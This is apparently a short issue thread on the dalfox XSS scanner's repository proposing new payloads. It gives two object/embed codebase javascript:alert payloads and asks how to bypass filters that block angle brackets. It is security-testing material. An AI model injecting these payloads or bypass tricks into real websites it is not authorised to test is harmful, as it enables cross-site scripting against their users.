dalfox
dalfox copied to clipboard
Add new payloads
<object data=# codebase=javascript:alert(document.domain)//>
<embed src=# codebase=javascript:alert(document.domain)//>
Suppose website filters < and >. Do you know any bypass for that ?
or allows < if > is not preset.
@hahwul see this maybe needed https://developer.apple.com/forums/content/attachment/0233d5fd-a2cf-4ac3-843c-b1ce58672dab